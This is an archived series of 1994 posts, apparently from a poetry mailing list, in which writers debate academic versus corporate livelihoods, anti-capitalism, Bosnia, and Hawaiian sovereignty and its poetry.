Thu 8 Dec 1994

I wanted to respond thoughtfully, and I hope I do, to Tom's extremely thoughtful posting. In many ways, I think he is right; he certainly had me pegged, but I wonder how much he knows what we (my generation, my class whatever) out there in the "Real World" have to face. Listen, for me, in the placeI grew up, it wasn't a choice between the academy and Phillip Morris; it was a choice between the academy and Wal-mart, or if I was lucky, the Borax mines. I'm not trying to say that my situation was wors than any number of people;in fact I was lucky to have that choice because if you were Latino where I grew up, it meant digging ditches for Cal Trans or Mcy Ds. Yes I am white, or, where I grew up, white trash, where it still means something besides a cookbook deal with Random House. And yes, my family still lives in a trailer park, still drinks light beer all night on a sofa in in the front yard, still gets weekly vists from Child Welfare.... But you've heard that a hundred times already in mainstream poetry/ fiction. I don't mean to make a big deal with it, because it is not a big deal in a time when people are shot at on the way to the Circle-K (in Bosnia or Southcentral), but it perhaps explains whyI decided on the academy. The academy been bery bery good to me... Because the academy supported me when no one could. Period. Due to wonderful wealth of the state of California when I was coming up, and due to fact I was poor enough to be called underprivileged, I never paid tuition. Got grants and later, in Louisiana, got a GTA. I'm not here in the academy because somehow I think I will be engaged in pure research, pure poetry, pure work for the work's sake. I'm here for the money, because if someone is willing to give you money to sit around and think about stuff, I say take it. Because this is the only chance I had. In L.A., they were going to give me 6.5 an hour with a BA from a third rate CSU to work 60 a week. My mother in the local Stop and Go makes 9.25 now. I decided to go back into the academy. Listen, it seems to me, and this is as I write this between an incredible amount of work all due next week, that it is quite easy to criticize the choices of others when you are comfortable professionally, I mean canonized, professionally and personally. Many of the things Tom said are perfectly true, but, I know the Real World. I've seen a good deal of my family die from it, toxic poisoning from the Borax, "accidents" at the construction site, and a shit load of alcohol related diseases. Give me the choice between that and the academy, and I'll take the academy.Thanks, Eric ([redacted] u)

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108. Clint Burnham
Re: prayer
Thu 8 Dec 1994

Yeah, and chris don't forget "vulgar postmodernism" (the belief that the world is made up of silly people who write Guy Debord obituaries & don't realize he meant spectacle, and nice gallic word, and not show biz, a nasty north american wqord), and "vulgar poststructuralism" (the belief that totalizing hurts more than breathing partition dust in an office), and so post vulgar on.

just to bring you up to date.

Clint-o

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109. James Sherry
Re: Exile on Strained Meat : or notes on professions, academic etc.
Thu 8 Dec 1994

The issue of characterization, calling people thugs or jews or tall, is difficult to address alone, because one will always come up against an unanswerable question which is the intention of the speaker. Black kids call each other nigger and the common wisdom is that they can say it and non-black people can't. In the movie "Wanderers" I remember a classroom scene where the teacher tries to list the names kids call each other by way of teaching them the sticks and stones may break my bones lesson. The result of the lesson isthat the class falls to real fighting. But later in the movie when those same kids: black, chinese, italian and jewish are playing together and are attacked by a nameless hatred of the other personified by an anglo gang, they unite and defeat the gang, supporting the sticks and stones point of view. We may characterize, but the question is does the characterization prevent us from seeing the real nature of the problem.

When Marjorie calls the serbs thugs, she misses the point of why the serbs are doing what they are doing. It is not of use to characterize them and by doing so cloak their intention in their thuggery. Their intention must be addressed. If we ask them, what do you want and they say we want the Muslims land. One can say yes or no. To say they are thugs is to create a conflict that the serbs cannot understand and to put us in the same position vis a vis our objective and the serbs are vis a vis their objective. If we say to the serbs, no you cannot have that land, we must be prepared to act accordingly. If we are not prepared to act accordingly we are accomplices of the serbs.

Viola Spolin in her book Theater Games I believe is the title suggests a game where people have conversation without the pronouns, without, narrative,

without description, and without facts. It is a difficult exercise and suggest we try it before we start attacking or defending the serbs way of behaving and as it has been suggested worry about how the Muslims will behave when the Republicans lift the arms embargo and support the Communist serbs with massive air power. Thugee becomes thug at the drop of a gat.

As is pointed out it is not an easy question because we cannot easily discern another's intention and because although we deplore violence we mostly recognize our right to defend ourselves.

The anti-Islamic issue in European politics plays as much a part as the serbs activities, but as I have tried to point out with my tale of visiting serbia, the intention "land" must be addressed directly, not by characterizing, but by taking certain risks which no one in this discussion would consider participating in.

Inflammatory rhetoric is most often the province of non-combatants.

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110. Clint Burnham

Exile on Strained Meat : or notes on professi

Thu 8 Dec 1994

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the problem is
you're ewither working with people you like
& you can't talk about a lot in common

or with people you don't like
and have too much to talk about with

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111. Susan Schultz

haoles

Thu 8 Dec 1994

I'm glad to hear from a "former haole," Eric--though isn't that in a sense part of the problem; can you imagine being a former African American or former Asian American? I'm not sure that the kind of discourse that I quote by Haunani Trask leads _necessarily_ to ethnic cleansing, though it certainly bears resemblance with the rhetoric _of_ ethnic cleansing. And that's part of the problem teaching the material; do you opt with those who suggest that rhetoric is powerful but, paradoxically, not a call to real action? Or do you take it as a call to arms that is intended to include you? If there's a more moderate position to take on the question, which I suspect there might be (being a foolish optimist), will anyone in the heat of the moment actually listen?

I just attended a lecture by David Lloyd on "nationalisms against the state." He talked about the current Irish situation, in which the Irish (whoever they are) are perhaps trading cultural power for economic colonization by the new Europe. The upside of Hawaiian nationalism, so far, has been the reemergence of Hawaiian culture outside the province of the tourist industry, which has "preserved" that culture by presenting it as a self-parody for the consumption of outsiders. Trask wants Hawaiian hotel workers to start trashing the hotels; doesn't she face, then, the increasing poverty of her people for the benefit of re-creating an ethnic and cultural (in this case the same, I guess) identity? She wants and expects culture to do political work, which Lloyd is suggesting may not be possible in the face of GATT and NAFTA. Lloyd suggests that local resistance is possible without the ultimate goal being that of creating a new state on the example of the old, as he claims happened in Ireland in the 1920s. Trask agreed with him on this, which suggests (I hope) that "ethnic cleansing" may not be the result of resistance. The violence may come, instead, from above--as is happening in Russia? I don't know.

Some afterthoughts on teaching: in some sense our horror at Gingrich's being an academic seems beside the point. At the University of Hawaii one simply is the representative of the state, the nation, some sort of American canon. This implicates you in all sorts of things, no matter how liberal you are. Trask is right on this one. One can (as I and many of my colleagues do) cede authority in the classroom, present oneself honestly as a "professor from the mainland with such and such degrees), and then find that in that absence name-calling begins. I don't know, it's a confusing situation to be in. I suppose in the case of Baraka, which Eric cites, one needs to present a "fair" cross-section of his work, and then argue out what is of value, and to whom. But the ethical pressures are, in any case, immense, whether one includes or excludes such material (and several students called me on the fact that I'd xeroxed her--Trasks's--"racist white woman" poem, but not her erotically charged celebrations of the land). At such a point the instructor's discomfort with authority turns into a kind of nostalgia for it! And alternative authorities are created in the classroom, some of them overt, and some of them subversive, no matter how fair-minded you think you're being.

On a more personal note to Eric, I'm a great admirer of your work on Crane and Gluck, et al. Glad to hear that you add "haole" to your credentials . . .

Susan

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112. Steven Howard Shoemaker
Re: Academy, etc.
Fri 9 Dec 1994

Eric Pape's reply to Tom Mandel's post said some things that needed to be said. Mandel said a lot of good, thoughtful things but i cld do without his self-righteous advice to "drop out" of grad school. Everybody's got their own history/choices to wrestle with and blanket admonitions of that sort are simply worthless.

Not to put him on the spot, but i heard Charles Bernstein say some interesting things about the academy as a working environment when he came to C-ville this fall. Charles, are u there?

steve shoemaker

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113. Steve Evans
Personal Blisters/Impersonal Burns
Fri 9 Dec 1994

Let me report, for James's benefit, that I did
indeed manage to make myself whole by thinking,
though evidently the effect was temporary and
I again find myself fragmented. The experience
wasn't as bad as the past two decades of (a)social
thought had lead me to believe--definitely worth
a few blisters.

Irony aside, my header actually refers to some lines from
an early Rosmarie Waldrop poem, "Linear," in
which she speaks of being in history as receiving
"personal blisters from / impersonal burns." The
particular context in her case, being born into
a Germany already under Nazi control (see *The Hanky
of Pippin's Daughter*).

The most convincing case for action on the Serbian
aggression in Bosnia would be one that showed the
blisters *here* from the burns *there.* The isolationist
line held by our own newly ascendent authoritarians denies
that there are any. And if you don't think the possibility
of showing those connections involves contesting the
legitimacy of capitalism, you haven't been paying attention

to how and by whom information is structured in this country.

Not *vulgar* Marxism then, but *obvious anti-capitalism* (obvious in Oppen's sense of what you cannot not see) is what is needed--not as an end, but as a starting point.

And it is needed in every one of the contexts we've seen discussed in the past week, whether .com or .edu. What I wanted to say in response to Ron's initial "Exile on Main Street Post" was simply that anti-capitalism involves one in no necessary contradiction in education (necessary is the operative word here), whereas it most patently does in the various enterprises that have been named (Deutsche Bank, Philip Morris, C=O=M=P=U=T=E=R=L=A=N=D, etc.) as gainful employers. That is, you can universalize education; you can't universalize capitalism.

(Since each time I say such things, someone insinuates that the position is criminally naive, can I here request that any such response take the trouble to explicitly expose the "error of my ways"? I am open to instruction, but insinuation just makes me anxious.)

Two final things: does anyone have word of promising responses to the latest attempt to eliminate the NEA? I would be especially interested in hearing about ways that we can link the inevitable debate about its preservation to demands that it be made responsive to the needs of actually existing artists rather than exquisite careerists.

And, finally, I just wanted to say what a pleasure the recent weeks' discussions have been--largely because of all the "new" voices now on the list. Thanks to everyone for the insights.

Steve Evans

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114. Chris Stroffolino

Re: prayer

Fri 9 Dec 1994

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well clint one wonders if there's nothing but gossip at the end of this tunnel of vulgar hight postmarxism that flagellates self-importantly like the Ramones

trying to play acoustic. You know, the "I care about global things" kind of intellectual ruse that might as well be Ruskin on a bearskin rug being blessed by Bishop Cardegan as far as I'm concerned. You know I heard a good one about Benjamin the other day, and ideas are ordered, yes they are, you know they are, ordered through personality networks, and it is my personality not to have one...chris

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115. Eric Selinger

Re: haoles

Fri 9 Dec 1994

On Thu, 8 Dec 1994, Susan Schultz wrote:

I'm not sure that the kind of
> discourse that I quote by Haunani Trask leads _necessarily_ to ethnic
> cleansing, though it certainly bears resemblance with the rhetoric _of_
> ethnic cleansing. And that's part of the problem teaching the material;
> do you opt with those who suggest that rhetoric is powerful but,
> paradoxically, not a call to real action? Or do you take it as a call to
> arms that is intended to include you? If there's a more moderate
> position to take on the question, which I suspect there might be (being a
> foolish optimist), will anyone in the heat of the moment actually listen?
>

My problem with taking the "not a call to real action" route is twofold, Susan. First, it seems to me the epitome of privilege, quite smug, in fact: it says, in effect, say what you want, we still have the power & we'll use it, so we're essentially safe & can watch the show. Second, it smudges the powerful bonds between this rhetoric and the rhetoric of ethnic cleansing, et. al., when the only real basis for distinguishing them seems to me that somehow we know that the writer in question wouldn't "really" do anything violent. But, like, is this fair to the nature of words & their work, their effect on readers, etc?

One can (as I
> and many of my colleagues do) cede authority in the classroom, present
> oneself honestly as a "professor from the mainland with such and such
> degrees), and then find that in that absence name-calling begins. I don't
> know, it's a confusing situation to be in. I suppose in the case of
> Baraka, which Eric cites, one needs to present a "fair" cross-section of
> his work, and then argue out what is of value, and to whom. But the
> ethical pressures are, in any case, immense, whether one includes or
> excludes such material (and several students called me on the fact that

> I'd xeroxed her--Trasks's--"racist white woman" poem, but not her
> erotically charged celebrations of the land). At such a point the
> instructor's discomfort with authority turns into a kind of nostalgia for
> it! And alternative authorities are created in the classroom, some of them
> overt, and some of them subversive, no matter how fair-minded you think
> you're being.

I was once in a class on African-American lit taught by a professor who deeply & thoughtfully believed in the therapeutic / pedagogical expression of anger. Lots of namecalling by those who were, at last! authorized to speak their minds--lots of verbal cruelty--lots of tarring with brushes wide and white, where students responded to what others hadn't said. Never a dull moment, and all quite validating, I'm sure, to those who were in power. [In power THERE--whatever their lousy status elsewhere.]

Authority happens. It feels good to hate. I think we need to get over a "discomfort with authority" and focus on just what sorts of authority we want to dismantle, and what we'll foster in their place. Culture, after all, abhors a vaccum.

More to follow, not to the board.

EMS

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116. Ron Silliman
Univeral Blisters/Individual Burns
Fri 9 Dec 1994

Steve Evans wrote:
>anti-capitalism involves
>one in no necessary contradiction in education (necessary
>is the operative word here), whereas it most patently does
>in the various enterprises that have been named (Deutsche
>Bank, Philip Morris, C=O=M=P=U=T=E=R=L=A=N=D, etc.) as
>gainful employers. That is, you can universalize education;
>you can't universalize capitalism.

NOT!

One need not be a rabid Althusserian to sing a chorus of Ideological State Apparatuses here. If, as I've been arguing, it's all one system, the only difference between town and gown is one of position within the same set, not "inside" vs. "outside" (There is, to repeat myself, no Out). The sole difference is that one of us is *pretending* that there is "no necessary contradiction" and one of us is not.

Conversely, capitalism is far more universal than education will ever be. If by that we mean pervasive, in every object we see. And are.

"Universal" in this culture means a white male who went to one of seven universities. (Brown, Steve, is one of those universities, even if it's the low end.) Everyone else is ranked accordingly to how "un-universal" (and thuglike) we might be.

One of the great things about Hawaii is that the delicacy of that lava based ecology makes immediately evident how constructed even nature is. The vegetation came literally in the stomach of birds. And the commonplace birds of the 1950s are not those of the 1990s. Someone introduces a mongoose in one century and it becomes the rat, squirrel, possum, raccoon of the next, having that niche almost to itself. Even the nene goose, the state bird, is "indigenous" solely because its off-island origins have been lost. There are only a few hundred of these left in existance and the only ones I've seen "wild" were in a parking lot halfway up Haleakala on Maui, begging for handouts from tourists. Since the arrival of Europeans, everything in Hawaii has come through the introduction of capital, both American and more recently Japanese. The Hawaiin guitar came with agricultural workers from Southern California. The national issues tend to obscure all this, which is what Lenin thought they were there for.

Like Eric, I believe it was, I come from a white trash California family, though in a college town (where I am the only member in four generations to have crossed over the town/gown divide and gone to school). Which means no doubt that I have a lot of ambivalent (or worse) feelings about some of these issues. But one illusion I do not carry about is of the university system as anything other than a state subsidized process for training workers, without which the corporations would have to do it directly.

Have we forgotten that all of Chomsky's early grants for linguistics came directly from the Defense Department?

An earlier generation of linguists was subsidized almost entirely by the church, in order to translate the Bible into whatever heathen tongue.

"Necessary is the operative word here" indeed.

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117. Rodger Kamenetz

Re: Univeral Blisters/Individual Burns

Fri 9 Dec 1994

In the Buddhist tradition there's a concept of "right livelihood". It is not related to degree of complicity in the economic system, but to the kind of

consciousness certain occupations create. And in a similar way, I remember Robert Duncan, through his contact with Levinas, describing to me the Talmudic notion of giving just measure in business transactions because it is understood that the just weight and measure is given before God. He felt that in the same way the poet gives just weight and measure when she recognizes that the just weight and measure is not before the reader only but a larger totality. The question is how does the work we do to earn our livelihood inform our work as poets? For me, the question was settled accidentally. After avoiding steady work as assiduously as possible, I fell into part time teaching, accidentally landed a full time job in a community college and eventually by fluke at a university. For Eric and others for whom these decisions are still active, I think it is worth considering the question in the "right livelihood' sense-- that is, how can I make my life coherent? Ron's assessment of the university as a capitalist training center does not speak to my experience as a teacher. Rodger Kamenetz [redacted]

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118. Tom Mandel
Re: Academy, etc.
Fri 9 Dec 1994

I felt it would be better to respond to Eric Pape's impassioned response to my post in a message sent to him not all, and so did, mentioning it here that it not be thought i'd let his words go buy unnoticed.

tom mandel

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119. Tom Mandel
Re: Academy, etc.
Fri 9 Dec 1994

My advice to quit grad school (but I don't think I used the phrase "drop out" wch he puts in quote -- yet perhaps I did) seems to have found a tender spot in Steven Shoemaker's mental anatomy? Does he think I meant it literally? Does he think I meant it just for him?

Why, specifically why, were my words "self-righteous?"

As to "the academy as a working environment," whatever does that phrase mean? Does it refer to the ego floating above history and choosing an environment in which to "work?" Or does it refer to working conditions in the academic industry?

I guess grad school would be one way to enter "the academy as a working environment," although it does seem more and more that it comes to approximate rather a formal training in being unemployed and even unemployable. Perhaps, too, there are other ways to reach that goal. Charles Bernstein, whom Steven invokes against my blanket admonitions, would, alas for Steven's intentions, find his place on my list: someone who quit - maybe even dropped out of - grad school!

I don't wnat to be glib; I mean, rather, I'm not being glib, so I don't want Steven to take me that way. A year or so ago, I met Reid Whittemore, ex-Library of Congress poet, at a party. Before he understood that I was Jewish and therefore an exotic enemy ("Maimonides? Who's that." -- this man is a professor at U of Md.), he leaned over conspiratorially and whispered "there are too many poets, if you know what I mean." I was certainly not meant to understand that there were too many white male wasp poets (real poets) you may be sure, but that the world was mispopulated with a rising tide of expression from all the wrong places. I would not wish Steven Shoemaker to understand me in this way; I don't want to de-populate the academy (it's amusing, btw, to affect this god-the-father mode of expression; as if the academy would fulminate or grow passive depending on my word).

The narrow reading list of our times is devoted overwhelmingly to a consideration of the loss of autonomy of the self and its expressions in speech and thought, the self's explosion or dissolution. Am I alone in finding the conjunction of this development in western philosophical/intellectual history curiously aligned with a moment in which other traditions have arrived on its grounds to make a claim for such autonomy. A time in which black jew arab female speak a sophical world of thought which is black jew arab female? Itis not the "ethnicity" wch interests me in this, nor the localness (w/ its Heidegerrian and Duns Scotian tone I find detestable: the value of place, forget it), but the opposite its appearance in every case in a foreign place, the insertion border edge and frontier issues of accountability and recountability to an other exactly in "place" so that mentally there is no location that is not on a border, no place that is not also a leaving that place. That, Steven, is what I meant by telling you, personally this time, very personally, to quit grad school.

Don't burn the books, just burn the reading list.

Tom Mandel

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120. Tom Mandel
Re: Personal Blisters/Impersonal Burns
Fri 9 Dec 1994

Steve Evans writes:

> What I wanted to say in response to Ron's initial "Exile on Main Street Post" was simply that anti-capitalism involves one in no necessary contradiction in education (necessary is the operative word here), whereas it most patently does in the various enterprises that have been named (Deutsche Bank, Philip Morris, C=O=M=P=U=T=E=R=L=A=N=D, etc.) as gainful employers. That is, you can universalize education; you can't universalize capitalism.

While nodding to his hilarious and brilliantly snide conflation of Computerland and Language magazine/poetry, I feel obliged to mention that Steve seems to be using the word "necessary," his "operative word," somewhat unusally. Does he mean that in the academy it is not "necessary" to notice that you do not have an anti-capitalixt job but you can hardly escape noticing this fact working at Deutsche Bank? Well, bully for you herr professor!

Re: "...you can universalize education; you can't universalize capitalism," are you hiring? Or, less comic, you're wrong Steve. You can particularize education, you can stratify education, indeed for most people you can eliminate education. But, "you" can't eliminate capitalism, or, to put the matter concretely, who is the "you" who can eliminate capitalism?

Please don't assume this as praise of capitalism (I leave that to the opening pages of the communist manifesto), nor that a hortatory enthusiasm will do in response to my not-at-all rhetorical question.

Tom Mandel

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121. eric pape
Re: Academy, etc.
Fri 9 Dec 1994

I wanted to say quickly, in all fairness to Tom, that I did not mean to accuse his of pointing his post at me. When I said he had me "pegged" I was simply giving him credit for very perceptively figuring out who I was: grad student, inexperienced, white. My posting was meant to apply generally to the whole academy debate. Thanks, Eric ([redacted])

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122. Susan Schultz
Re: haoles
Fri 9 Dec 1994

I'm not sure you can have it both ways, Eric; if the classroom is to be a place where therapeutic anger authorizes students, then it's possible to regard Trask's poem as just that: a therapeutic exercise of getting angry. Though the word "therapy" suggests that somehow we'll all work through this in the end. My problem with equating the poem with "ethnic cleansing" is that the Hawaiian sovereignty movement is a separatist movement, not an imperial one (as in the "former Yugoslavia"). Trask may want more of us haoles (and in this number she'd include local Asian Americans) to leave the state, but I don't get the sense that she wants to line us up and shoot us. In the context of her entire book, Trask's position is a bit more complicated than this poem suggests: there's a love poem to her haole partner of many years in there, too (although he's presented as a "good haole" who supports her struggle to the utmost).

A note from yesterday's paper. "Bumpy" Kanahele, who led the year long occupation of Makapu'u beach, is quoted as saying that tourism and sovereignty are not entirely incompatible. He denied saying that he'd ever advocated violence against tourists: "What he did mean, he said, was that if the Hawaiians do not get what they want, things could get violent. But rather than let that happen, his organization would once again go the tourists and tell them their presence is lending support to an economy that is based on an illegal government in land improperly seized from the Hawaiians" (in 1893). After independence, and because of it, he argues, a better grade of tourist will come to Hawaii (an interesting spin on tourism, certainly). In an aside, the article reports that The Nation of Hawaii is hooked into the internet, where they display their flag and their demands. A new take on the bumpersticker, Think Local, Act Global (or is it the other way around?): think net, act internet?

Susan

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123. Robert A Harrison
Stained Meat
Fri 9 Dec 1994

Tom Mandel says:

> *very little evidence of a point of view of color*

I'm here. Color is only partially the right word in my context. I'm Panamanian-American. My silence is a point of view.

I'm sure there are others, Tom.

> *unhidden in trashy even disgraceful joking that there is no relationship between your person and your position, as if these were different in some principled way*

This comment doesn't seem right to me. There IS a difference between me and the positions I've held in my life. From construction, to house painting, to truck driving, to teaching calculus and Pascal programming, to programming a real time accounting system for Johnson Controls, to painting opera sets, to whatever. Isn't this obvious?

As to Paul Hoover's comments on Amiri Baraka getting 5000 for a reading, seems like sour grapes to me. Would you, Paul, turn down $5000 for a reading? Not that I agree with all of Baraka's politics, I'm definitely against any kind of racism or ethnocentrism, but, I hope he continues to get lots of $5000 readings.

I for one don't think working for a corporation provides anyone with any kind perceptual advantage. I find it interesting that so much of this discussion revolves around how we work. How we make a living seems to me to be related mostly to our relationship with power. Maybe there's more to things than that.

Bob Harrison

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124. Steve Evans
Re: Univeral Blisters/Individual Burns
Fri 9 Dec 1994

Ron, you are in too much a hurry to dismiss what
I wrote last night. I said anti-capitalism as
a project does not interfere with any necessary
moment in the educative process. I did not say
that education is not deeply scarred and distorted
within current capitalist conditions.

As for universal = white male Ivy League, please.
You and I can both discern the difference between
false universalism and true universalism. Brown
is a patently and overtly anti-universalist University.
One of the central campus battles in the years I've
been here has indeed been over its practice of "need-
aware" admission policies. Though consistently blocked,
this has been a struggle to *universalize* access to
the symbolic and real capital this institution generates.

I have no interest in "pretending" anything. I, in fact,
don't take this discussion to be primarily or importantly

about myself (though I know what Tom Mandel would say to that). I am saying that if "capitalism is more universal than education ever will be" then all of us are getting burned.

Knee-jerk anti-unversalism is one of the tiredest tropes of current (a)social thought. Try explaining to me an oppositional position on Bosnia that doesn't involve universalistic claims of one kind or another. Try explaining why your position on identity politics as the real vulgar marxism makes sense without referring to universalization. In brief, what ever happened to that fibonacci series of yours? Gone with the Laclau-Mouffite wind?

It is fine, though exceedingly abstract, to say there is "no outside." But at Brown there certainly is (hence an "admission" process), and where you work also (hence hiring/firing). And on a different scale, there is very importantly an "outside" when it comes to distribution of resources under capitalist social relations. Illiteracy is a way of being "outside" the alphabet; starvation is a way of being "outside" the chi-chi supermarket. I'm "in"--I attend Brown (and yes there are people here--namely all the ones directly in my "field" in the Eng.Dept.-- who oppose my research and teaching practices), I eat and read, I'm having a party for other people who also do these things later tonight. But I'm under no illusion that cause I'm here, everyone is. And I subscribe to the axiom that you cannot intend your own autonomy without intending that of everyone else (universalization).

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125. Steve Evans
Re: Personal Blisters/Impersonal Burns
Fri 9 Dec 1994

Tom, I'm afraid I can't take credit for the conflation of Computerland/Language: whoever designed a flier for a DC reading of Ron, Kit, and Bill Luoma (perhaps Bill designed it? Or Rod Smith) last year gets the credit on that one.

Let me assure you, were I hiring I'd try to tempt you from your current work--with an emancipation clause in your contract.

The "you who can eliminate capitalism" is not singular but plural, not pre-existent but made, not a faded bumper sticker but a still distant prospect. Is that too

hortatory and enthusiastic? It ain't me
alone, and it ain't my "mind" (which had
to undergo a lot of changes in arriving
at this position--very little assisted by
University professors, tho there were *some*)
that's centrally at issue here.

I was struck by the following sentences in
a recently published article by Ernest Mandel.
They perhaps fall in the category of inflam-
matory, of setting the volume too loud for
this particular context and its specific
possibilities. Mandel says:

Hunger and poverty have risen to the point where
U.N. officials speak about one billion people living
below the poverty line, very conservatively defined.
Sixteen million children die every year from hunger
and curable diseases. This means that every four
years the same number of children die as the total
number of victims during the whole of World War II,
Auschwitz, Hiroshima, and the Bengal famine included.
Every four years a world war against third world
children: There you have the reality of today's imperialism/
capitalism with all its barbaric implications.

Even with your antipathy towards Adorno, Tom, wouldn't
you agree that at the very minimum, utopia would
mean an end to such decimation?

Finally, as I mentioned also in my post to Ron, if there
is a moment in the educative process that necessarily en-
tails capitalism, I've not yet heard of it. Learning
pre-existed capital, learning can outlast capital. In
fact, the only sum larger than the knowledge capital
has accumulated is the sum it has concretely denied.
Poetry is part of the latter sum, which is one of the
reasons this discussion is appropriate on this list.

Steve Evans

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126. Steven Howard Shoemaker

Re: Academy, etc.

Fri 9 Dec 1994

No Tom, i didn't think you meant the advice to quit grad school just for me, which helps explain why i liked Eric's reply. As for the "tender spot" in my "mental anatomy"--is that what one needs in order to be, uh, stimulated by your words? As for why i thought some of those words were "self-righteous"--I keep thinking of that corny old joke about how if you "assume" too much, you make an "ass" of "u" and "me." Perhaps u didn't mean your advice "literally"; no doubt i missed levels and levels of irony. You also said "your industry is headed for a collapse; it has lost all justification." Mebbe that wasn't "literal" either, but i wanted to indicate my belief that despite its troubled future, its horrendous contradictions etc., there are still some good reasons to try to work within the academy. (That Charles got there thru a route other than grad school doesn't seem to me of crucial significance in this (my) context). And your argument, Tom, about the "narrow reading list of our times" doesn't really convince me otherwise. But if it's a matter of the collapse of inside & outside, of being in the "place" that is grad school yet also "leaving that place" at the same time, i think i've pretty much achieved that conditon already. But this discussion cld quickly get tedious (if it hasn't already) for the list, so if you really want, Tom, to advise me "very personally" then perhaps you shld write me at [redacted].

As for the "narrow reading list" to which you allude, and its relation to the question of what can be said/done in the academy, i'm not quite sure i follow the whole of your argument. But i have heard your point about the trend toward "deconstruction" coinciding curiously w/ the need for autonomous declarations by "other traditions" made many times before, *within*, so to speak, the hallowed halls of academe. Maybe the list and its attendant discourse isn't quite so narrow as you think. And perhaps i flatter myself, but i think i've put together some pretty interesting reading lists for my classes, lists that have included, for example, many people currently participating in this "list." And i've also consistently found that, despite the odds against it, some pretty surprising things can happen in the classroom--things i haven't seen happen elsewhere very often. But more about that another time perhaps.

steve shoemaker

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127. **Chris Stroffolino**
Re: Personal Blisters/Impersonal Burns
Fri 9 Dec 1994

WELL, STEVE, I AM SKEPTICAL ABOUT WHETHER WE SHOULD DARE MAKE SOME KIND OF CLAIM THAT EDUCATION OR ONE'S ANTI-CAPITALIST INVOLVEMENT IN ACADEMIA CAN ACTUALLY BE PRIVILEGED OVER THOSE WHO WORK AT C=O=M=P=U=T=E=R=L=A=N=D OR MCDONALDS FOR THAT MATTER, but i don't think you're 'criminally naive' either--if we can admit our own implication in the whole mess while still being aware that we ARE actually more exploited than exploiters, whether in academia or out, maybe then however there's, er, "hope"--but of course that means putting ourselves "on the line" as it were more...

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128. **Chris Stroffolino**
Re: Univeral Blisters/Individual Burns
Fri 9 Dec 1994

---

steve, just read your new post, i had responded to the earlier one and then realized my argument was similar to Silliman's (if not Mandel's) but now I realize that I too misread your statement as claiming that academia is "beyond ideology" and am glad to see you are not arguing from that position, but what is this "autonomy" we should fight for if not the autonomy of "bourgeois individuals"? If capitalism can not be truly universalized to suit the needs of all, are you positing a kind of anti-oedipus anti-capitalism of anarchy as an alternative, as it seems you might, or something quite different?

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129. **Steven Howard Shoemaker**
poetry trek: generations
Fri 9 Dec 1994

I'm starting to wonder if this G1/G2 stuff has more resonance/explanatory power than i had realized. This is not at all to be somehow separatist or to suggest an insurmountable "gap," but i'm curious how a discussion confined to G1-ers wld look different from this one. Surely it wld lose much, but i wonder what it wld gain?

Just speculating....

steve shoemaker

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130. **Jeffrey Timmons**

Re: Exile on Strained Meat : or notes on professions, academic etc.

Fri 9 Dec 1994

Tom Mandel's comments were very interesting, and I apologize for the length of this response:

On Wed, 7 Dec 1994, Tom Mandel wrote:

> *1. For 5 years during WWII neither the English nor any other allied power laid an intentional single bomb across the railroad tracks that led how many thousands of jews gypsies gay people per day? to doom. Does this make them thugs?*

No, it makes them lame. As in lame-o. Go gently into the night is their theme, not mine....

> *2. I was a grad student for 6 years, have taught in 3 universities, have worked for large corporations, as well as quasi-gov'tal organizations, and have written and lived poetry off and on all my life. Without question, and by metaphorical orders of magnitude, the most serializing, cutthroat, thoughtless and non-oppositional (i.e. slavish) environment I ever lived in was the academy.*

Ok, one more response to this position and I'm through with the issue: I won't argue with your experience, Tom, but mine is something quite different. Competition is the national ethic, is it any surprise it exists in the university? I have friends, peers, partners, and even those who disagree with me here; I have done creative and innovative work that has given me great satisfaction as a writer. That our experiences don't gib is not cause for us to divide ourselves--right?--since we have some interests that keep us here talking? What are they?

> *Nothing is more foolish than to spend one's days distinguishing between on the one hand vulgar marxism and on the other hand a marxism appropriate to the changes in the organization of capitol. None of us can know at all what the structure of capitol is. For one thing we are part ofit, for another only a bounded thing can be "analyzed" (but, see above), and it is not that. And, finally, why do we wish to constrain the mind to appropriate response, when it is the mind that makes that world of capitol. Make something else.*

Oh, gosh, man, gee, we're all trying to create ideas or "theories" about disparate phenomena about how particular occur in the world, if someone were to show me a model of economic-cultural interaction that accounted for some of the events of the world it would be good enough for me until someone else showed me a better model. What I mean is, I'm not trying to constrain but remain free from what you rightly see as "appropriate" responses. Yes, the

mind makes capital--with an a and an o--but is it my mind? Just because we are in it and part of it should not discourage one from exploring it.

If anyone would
> pay me, I'd teach for myself (I do seem to know a great deal; drop
> over some time - you probably know a lot too), but they don't so. . . .

Hey, Tom, I'm staying with a friend in DC, who, by the way lives on Tilden street, and I was wondering if I could take you up on your offer to stop by--I can't pay you though, ok? If you read this I'll be back on sunday to read my mail--I leave on monday--so if you're serious please let me know. It would be interesting to hash over these differences in person.

> *8. Grad student, quit school. But, I can't tell whether Steve Evans or Patrick Phillips or Jeffery Timmons or Eric Pape or others (very few women, very little evidence of a point of view of color, very little sense of a specifically Jewish pov, very little in any sense specific to anything whatever, informed by anything not on the other guy, yeh guy's reading list. If you are on faculties, quit. Anyway, Ron's right; your industry is heading for a collapse, it has lost all justification.*

Ai, ai, ai, ai. . . . Geez, isn't this the sort of response you yourself are indicating is what's wrong with the university, with the competitive cutthroat world? I mean, come on, what you're saying is I have nothing to say, nothing interesting, anyway, which seems to me to be precisely the attitude you find as so oppressive in the university. Quit? Why don't you join? Let's find some common ground already, what we're suffering from is the divide between critics and poets--a false division. . . . I'm a poet. I'm a critic. Nothing specific? Huh? Didn' you see my comments on Swarzenegger (sp)? Lost all justification? I'm confused. If it weren't for the university I think the survival of poetry would be a great deal more tenuous than it is. Anyway, I don't shy from Tom's comments, but I think this is simply not useful in terms of learning from each other, or from a spritit of comradery (sp)--which he himself suggests is what he is after. I have to wonder. . . . See next

> *11. Oh. In 8 above, you may think I'm being dismissive. Or glib, in advising you to quit. You have families, you have to have a job. Sure, no problem. Nor do I take the Platonic position that a slave is one by nature or essence : if not, he'd be dead. After all, I was fired, I wasn't offed! I prefer the Jewish position, be kind to the slave. In the jubilee year, free all the slaves (what the heck, most of them will enslave themselves again). (of course, that's only one of the jewish positions, i.e. positions in the rabbinic tradition - which is always what *I* mean by the term "jewish").*

Hm.

There's more here I have to say, but can we put aside what appears to be a growing divide? I mean, honestly, whether we work in or out of a particular institution we have a common set of concerns and rather than . . . . Well, you get the picture. I just want to say, also, that I have not tried to divide as much as draw attention to what some have described as being "isolated" when that is not my experience. If you want me to be more specific I could. . . .

Jeffrey Timmons

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131. Jeffrey Timmons
Re: con in on late night
Fri 9 Dec 1994

